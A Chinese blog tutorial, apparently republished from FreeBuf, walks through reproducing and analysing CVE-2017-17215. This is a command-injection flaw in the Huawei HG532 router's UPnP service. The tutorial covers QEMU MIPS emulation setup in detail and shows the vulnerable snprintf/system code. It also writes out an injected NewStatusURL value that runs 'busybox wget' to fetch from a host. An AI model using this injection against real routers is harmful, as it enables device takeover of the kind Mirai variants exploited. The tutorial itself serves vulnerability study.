通过CVE-2017-17215学习路由器漏洞分析，从入坑到放弃

发布时间：2018-01-17 11:36:48

## 1.基本信息：

2017/11/27，Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)，Mirai的升级版变种中<a target="_blank" rel="nofollow">已经使用该漏洞</a>&nbsp;。看起来是个很简单的漏洞了，书上得来终觉浅，须知此事要躬行，复现和分析的过程中遇到很多坑，写文记录一下详细步骤。
华为已经发了漏洞公告，固件已经升级到HG532eV100R001C02B017_upgrade_main.bin。从论坛里找到了带漏洞版本件，HG532eV100R001C02B015_upgrade_main.bin。
分析环境是ubuntu 16.04.
先用binwalk 解压一下：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156578161354.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600567f25ac88d2f92da3b8c1b55a9790820e4ef8f724.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156578161354.png!small" width="690" height="338"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
根据 Check Point 的报告，漏洞点位于 UPnP 服务中,file命令看一下,可以看到upnp应该是跑在MIPS 32 位 大端架构系统
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156580805951.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160057e1e133d14c1eec9220c02a09c453c166b19b94c5.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156580805951.png!small" width="690" height="55"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
<h2>2.配置复现环境： </h2>

安装 qemu： 

<pre><code>sudo apt-get install qemu sudo apt-get install qemu-user-staticsudo apt-get install qemu-system</code></pre>

安装网络配置工具：
<pre><code>apt-get install bridge-utils uml-utilities</code></pre>
修改 ubuntu主机网络配置，将ubuntu主机系统中的网络接口配置文件 /etc/network/interfaces 修改为如下内容：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156587081163.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600584faf444675afbedc84b21cbfa9cca7dea6488a3d.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156587081163.png!small" width="690" height="152"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
创建QEMU的网络接口启动脚本（/etc/qemu-ifup）并保存为如下内容：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/1515658972939.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600599d49796a00d19eaf746f26561066bffd17686468.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/1515658972939.png!small" width="690" height="115"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
赋予文件/etc/qemu-ifup 可执行权限： 
<pre><code>sudo chmod a+x /etc/qemu-ifup </code></pre>
重启网络使所有的配置生效： 
<pre><code>sudo /etc/init.d/networking restart</code></pre>
关闭ens33，启动桥连网络br0

<pre><code>sudo ifdown eth0 &nbsp;sudo ifup br0</code></pre>

从<a rel="nofollow">https://people.debian.org/</a>&nbsp;~aurel32/qemu/mips/下载对应的debian mips qemu镜像 
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156592945471.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160060bc2aaa709cc981f44449b63ee93ac68f241eb6e2.jpeg"></a>&nbsp; 
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156592945471.png!small" width="690" height="332"&amp;amp;gt; &amp;amp;lt;/p&amp;amp;gt;</noscript>
其他的帖子里有各种下载qemu镜像的地址，试了几个下载都不好用，各种坑
我下载的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
启动qemu运行刚镜像：
<pre><code>sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap</code></pre>
好的，假如一切顺利，可以看到一个qemu虚拟机，用root/root登录进去:
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/1515660657639.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160061f8655e5118386bdf139765970e8a49b30f1e36d4.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/1515660657639.png!small" width="690" height="279"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
发现网络不通，ifconfig -a 看一下发现网络接口为eth1：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156609745022.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160062b5ca447a2c34581eb6adbb31d79305acab423793.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156609745022.png!small" width="624" height="346"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
将nano&nbsp;/etc/network/interfaces 文件中的eth0改为eth1：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156613687279.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600623f0b513f2c48ed2d641f24c7affb913003f418a7.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156613687279.png!small" width="690" height="217.7659574468085"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
再用ifup&nbsp;eth1&nbsp; 将eth1启起来，运气好的话此时网络已经好了。
直接操作虚拟机显然比较麻烦，在ubuntu上搞个SSH 连进来，ssh root@虚拟机ip 
将之前解压的固件包拷贝到虚拟机里面：
scp -r ./squashfs-root&nbsp; root@虚拟机ip:/root/ 
完成搭建路由器固件运行的环境。
<h2>3.复现漏洞：</h2>

第一个问题是怎么让路由器里的服务启起来，我们也不知道是哪个文件会去处理80端口过来的请求，先看下checkpoint报告里的payload

<a target="_blank"><img data-original="http://image.3001.net/images/20180112/15157197169485.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600632106974d5e61d1971d79b8705f56a1a1c3c198bf.jpeg"></a>&nbsp; 
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180112/15157197169485.png!small" width="690" height="197"&amp;amp;gt; &amp;amp;lt;/p&amp;amp;gt;</noscript>

在固件文件夹下搜一下 ctrlt 和 DeviceUpgrade_1，并没有文件名含有这2个词语，再搜下包含这2个词语的文件：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156659813673.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600646bb7997c0bb177c5e037064d524b21f5164a63c5.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156659813673.png!small" width="690" height="62"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
找到固件所在的位置，想直接执行下upnp这个文件，报错,缺少相应的so文件造成。
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156686001122.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/15161600652a521697165cbf5ce17f40f5216864294c12ffe9.jpeg"></a>&nbsp; 
<noscript>&amp;amp;lt;img alt="图片.png" src="http://image.3001.net/images/20180111/15156686001122.png!small" width="690" height="38.84444444444444"&amp;amp;gt; &amp;amp;lt;/p&amp;amp;gt;</noscript>
chroot /root/squashfs-root /bin/sh来切换根目录到路由器文件系统，执行成功：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156685477408.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160065f117e23c8961fa801b4ec020355d235653c682b5.jpeg"></a>&nbsp; 可是发包过去仍然失败，应该是并没有启动监听服务 
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156685477408.png!small" width="690" height="59.93939393939394"&amp;amp;gt; &amp;amp;lt;br /&amp;amp;gt;可是发包过去仍然失败，应该是并没有启动监听服务 &amp;amp;lt;/p&amp;amp;gt;</noscript>
那找下端口37215
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156662004916.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160066150c45a6c74725ca46a4d0488e3b0523507a4af0.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156662004916.png!small" width="690" height="43"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
端口号只出现在mic文件内，看下文件内容： 
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156663101284.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/151616006760c3c5f3382fc5219cc4051dbfd6fcc5f686c354.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156663101284.png!small" width="690" height="411"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
看字符串像是一个跟网络服务相关的文件，试下运行一下：
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156664767325.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160068535b3000a1537eeb01fd8996ce17ca844909a66d.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156664767325.png!small" width="690" height="264"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
看起来像是对了，
ubuntu上nc -vlp 80 监听一下端口，跑一下exp，80端口收到路由器发来的wget 请求包。 
<a target="_blank"><img data-original="http://image.3001.net/images/20180111/15156682779054.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160069dd41ca38bb5ae3ffdfb7a71d589f04b130bb4cdc.jpeg"></a>&nbsp;
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180111/15156682779054.png!small" width="690" height="135"&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;</noscript>
<h2>4.简单分析：</h2>
分析一下upnp中的关键代码:
<a target="_blank"><img data-original="http://image.3001.net/images/20180112/15157334268937.png!small" src="http://pgicons.cn-bj.ufileos.com/img_discover/1516160070124f5b3804894b731f659916fbf97bdec36cfc98.jpeg"></a>&nbsp; 
<noscript>&amp;amp;lt;img alt="通过CVE-2017-17215学习路由器漏洞分析" src="http://image.3001.net/images/20180112/15157334268937.png!small" width="690" height="454"&amp;amp;gt; &amp;amp;lt;/p&amp;amp;gt;</noscript>

根据上面payload图，newstatusurl这个节点值为 &lt;NewStatusURL&gt;$(busybox wget -g xxxx ;xx;xx)&lt;/NewStatusURL&gt;
<pre><code>snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)</code></pre>
其中a0是拷贝的源字符串的地址，同时a0又是system 调用的第一个参数。所以最后会执行
<pre><code>system（a0）</code></pre>
如果看完整篇文章想上手试一下路由器漏洞的话，不要忘了当初你是为什么放弃的.

原文 / From www.freebuf.com/vuls/160040.html